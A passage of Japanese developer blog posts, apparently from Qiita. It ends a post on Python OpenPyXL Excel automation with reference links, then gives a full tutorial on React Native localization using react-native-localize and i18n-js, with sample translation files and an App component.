PythonでExcelデータを転記して新しいファイルに保存｜単純作業を自動化
https://fastclassinfo.com/entry/python_excel_filetenki/
OpenPyXl公式（英語）
https://openpyxl.readthedocs.io/en/stable/
OpenPyXlのチートシート
https://qiita.com/Maruchin/items/8713e39dbcbeaaa86023

##参考
YouTubeで「Pythonを使った事務処理の効率化」というタイトルで、OpenPyXlを紹介。
<iframe width="560" height="315" src="https://www.youtube.com/embed/qtBend9uYCI" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
【React Native】react-native-localizeとi18n-jsを利用して多言語化

## document
* [react-native-localize](https://github.com/zoontek/react-native-localize)
* [i18n-js](https://github.com/fnando/i18n-js)

## プロジェクトにパッケージを導入
```
yarn add react-native-localize
yarn add i18n-js
```

### 追加の設定
もしreact-nativeのバージョンが0.60以上の場合は手動のリンク設定は必要ないので準備はこれで完了です。
手動のリンク設定が必要な場合は以下を参照してください。

* [react-native-localize linking instructions](https://github.com/zoontek/react-native-localize#manual-linking)

## 使い方サンプル
以下の3つのファイルを作成します。

* en.js     
English用の定義ファイル
* ja.js     
Japanese用の定義ファイル
* i18n.js       
上記の定義ファイルを呼び出して翻訳を行うファイル   


```en.js 
export default {
  welcome: "welcome"
};
```
```ja.js
export default {
  welcome: "ようこそ",
};
```
```i18n.js
import I18n from 'i18n-js';
import * as Localize from 'react-native-localize';

import en from './en';
import ja from './ja';

const locales = Localize.getLocales();
console.log(locales);

if (Array.isArray(locales)) {
  I18n.locale = locales[0].languageTag;
}

I18n.fallbacks = true;
I18n.translations = {
  en,
  ja,
};

export default I18n;
```

最後にexportしているI18nを利用します。

```jsx
import React from "react";
import I18n from "./I18n";

const App = () => {
  return (
    <View>
      <Text>{I18n.t('welcome')}</Text>
    </View>
  );
};

export default App;

```

### 結果

<img width="300" alt="en.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/665074/8ee5c84c-0e3d-2029-aded-92e9f817beb1.png">    <img width="300" alt="ja.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/665074/e3234359-519b-9a3b-bbcf-322f8fd1d62a.png">